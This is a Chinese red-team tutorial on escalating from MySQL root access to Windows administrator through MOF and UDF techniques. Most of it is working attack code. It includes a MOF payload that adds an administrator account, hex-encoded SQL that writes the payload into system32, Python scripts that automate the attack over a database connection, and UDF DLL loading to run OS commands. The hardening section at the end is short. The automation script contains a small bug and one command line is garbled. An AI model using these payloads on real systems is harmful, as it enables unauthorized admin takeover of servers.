九维团队-红队(突破)| MySQL实战环境下的提权技巧及坑点总结
写在前边
渗透测试的灵魂归根结底是信息搜集。简单列举一些在搜集的过程中可以利用到MySQL提权的点:
MySQL爆破出弱口令
安装文件泄露导致数据库密码泄露
数据库备份文件泄露
在利用webshell提权的过程中可用的提权方式有限
站库分离
spring boot内存dump文件泄露
sqlmap 注入的 --sql-shell 命令
......
下文将会通过对MySQL环境下一些提权场景的复盘,帮助大家梳理存在的威胁和加固建议。希望通过本文的介绍,大家能有所收获~
一
MOF提权(Windows)
1.提权条件
适用于Windows Server 2003/XP 等 Windows低版本。
拥有MySQL的root权限。
secure_file_priv为空,且不为NULL或指定目录(MySQL 全局配置,为空不做目录限制,为NULL禁止导入导出)。
2.利用原理
mof是Windows系统的一个文件,在C:/WINDOWS/system32/wbem/mof/文件夹下被执行,叫做托管对象格式,会以间隔5秒的时间监控进程的创建和死亡。
MOF提权过程就是利用现有的提权条件,将新的mof文件写入到C:/WINDOWS/system32/wbem/mof/目录下,然后被执行(其中mof文件中包含要执行的系统命令)。
常见的操作就是利用执行系统命令去创建一个普通用户,再将普通用户添加到管理员用户组,从而拿到管理员权限。
3.提权过程
开始先看下mof文件的编写(exp)规范:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mastersir mastersir /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
*左右滑动查看更多
执行命令的关键在于net.exe user mastersir mastersir /add,用来创建一个mastersir用户。创建成功后,再将这句命令改为“net.exe localgroup administrators mastersir /add”后,再次上传,达到创建mastersir用户并将其加入administrators组的目的。
检查条件:
查看服务器版本:
Figure 1:
查看用户权限:
select user();
Figure 2:
查看secure_file_priv为空。
SHOW VARIABLES LIKE "secure_file_priv";
*左右滑动查看更多
Figure 3:
(1) 间接写入式
利用load_file读取上传文件的内容,然后再写入到c:/windows/system32/wbem/mof/文件夹写。
假设通过文件上传传了一个mof文件mof.txt。
Figure 4:
查看当前用户列表:
net user
Figure 5:
写入mof文件:
select load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"
*左右滑动查看更多
Figure 6:
检查创建的用户:
Figure 7:
修改执行命令语句将创建用户加入管理员组:
net.exe localgroup administrators mastersir /addselect load_file("D:/WWW/uploads/data/upload/mof.txt") into dumpfile "C:/WINDOWS/system32/wbem/mof/mastersir.mof"
*左右滑动查看更多
查看mastersir用户信息:
Figure 8:
(2) 直接写入式
如果直接将mof代码写入
C:/WINDOWS/system32/wbem/mof/文件夹下的话,里边的字符可能会影响语句的正常执行。MySQL是默认支持十六进制的,可以利用十六进制写入。
坑点:
将构造好的mof代码进行十六进制编码的话再次解码会发现变成了一行,换行消失了。
Figure 9:
可以利用200a来添加换行操作:
Figure 10:
为了满足自己生成执行命令的需要,此处简单写了一个Python脚本:
#!/user/bin/# -*- coding:UTF-8 -*-# Author:Masterimport binascii
# 可直接修改payloadpayload1 = 'net.exe user mastersir mastersir /add'payload2 = 'net.exe localgroup administrators mastersir /add'def exp(cmd): str_16 = binascii.b2a_hex(cmd.encode('utf-8')) str_16 = str(str_16)[2:-1] payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b' return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"exp1 = exp(payload1)print('创建用户:' + exp1)exp2 = exp(payload2)print('管理员组:' + exp2)
*左右滑动查看更多
构造SQL语句:
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206d6173746572736972363636206d6173746572736972202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';
*左右滑动查看更多
查看用户:
二
UDF提权
1.提权条件
服务器类型:Windows用dll,linux用so。
MySQL版本:MySQL版本>5.1,udf.dll文件必须放置在MySQL的lib\plugin\安装目录下。如果MySQL版本≤5.1,udf.dll文件在system32目录下。
MySQL位数:32位、64位。
有root权限。
2.利用原理
UDF是用户自定义函数,是MySQL的一个拓展接口。可以通过自定义函数在SQL语句中调用,就像调用本机函数一样。通过加载dll文件扩展,我们可以让MySQL用函数执行系统命令。
3.提权过程
Figure 11:
查看MySQL版本:
select @@version;
Figure 12:
查看MySQL系统位数:
show variables like '%version_%';
*左右滑动查看更多
Figure 13:
查找MySQL插件目录:
show variables like '%plugin%';# 如果不存在的话可以在webshell中找到 MySQL 的安装目录然后手工创建\lib\plugin文件夹。
*左右滑动查看更多
Figure 14:
(1) 利用sqlmap动态链接库
基于32位MySQL动态链接库文件位置:/Users/sqlma/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_(编码过得dll,利用cloak.py解码)/Users/sqlmap/extra/cloak/cloak.py(解码dll)解码命令:# 解码32位的Windows动态链接库python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
*左右滑动查看更多
查看32位MySQL动态链接库包含的函数:
Figure 15:
查询MySQL根目录:
select @@basedir;
Figure 16:
将dll文件以十六进制的形式写入plugin目录下。
SELECT 0x4d5a90000······300000000000 INTO DUMPFILE 'D:/phpStudy/MySQL/lib/plugin/mastersir.dll';
*左右滑动查看更多
Figure 17:
查看目录下写入情况:
Figure 18:
调用自定义函数:
# 引入自定义的dllcreate function sys_eval returns string soname "mastersir.dll";# 查看MySQL函数里面是否新增了sys_eval方法
*左右滑动查看更多
Figure 19:
执行系统命令:
select sys_eval('net user');
*左右滑动查看更多
Figure 20:
删除自定义函数:
drop function sys_eval;
(2) 利用MSF动态链接库
利用MSF的动态链接库是一样的方法,但是MSF的dll是不需要解密的,这里只提MSF的dll文件位置(Mac环境下)。
/opt/metasploit-framework/embedded/framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
*左右滑动查看更多
三
拓展
MOF脚本拓展
有payload怎么能不自动化,基于上文的payload脚本简单修改一下:
#!/user/bin/# -*- coding:UTF-8 -*-# Author:Master先生import binasciiimport pymysql
payload1 = 'net.exe user mastersir mastersir /add'payload2 = 'net.exe localgroup administrators mastersir /add'def exp(cmd): str_16 = binascii.b2a_hex(cmd.encode('utf-8')) str_16 = str(str_16)[2:-1] payload = f'0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a202020202276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c22{str_16}5c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b' return 'select ' + payload + " into dumpfile 'C:/windows/system32/wbem/mof/mastersir.mof';"exp1 = exp(payload1)db = pymysql.connect(host='127.0.0.1',user='root',password='root',database='information_schema')cursor = db.cursor()cursor.execute(exp1)exp1 = exp(payload2)cursor.execute(exp2)db.close()
*左右滑动查看更多
此处简单写了MOF的脚本拓展,UDF大家可根据内容进行自行尝试。
四
MySQL提权的防护
1.使用高版本的Windows Server。
1)限制导出权限
2)增加root账号的密码强度
3)经常性的对网站进行测试,保证网站的安全性
2.查看mysql数据库中user表授权的登录host,禁止具备root账号权限的用户通过“%”进行登录。
3.增加root账号的密码强度。
4.限制数据库用户的创建文件上传文件等权限,配置MySQL不允许外连。
— 往期回顾 —
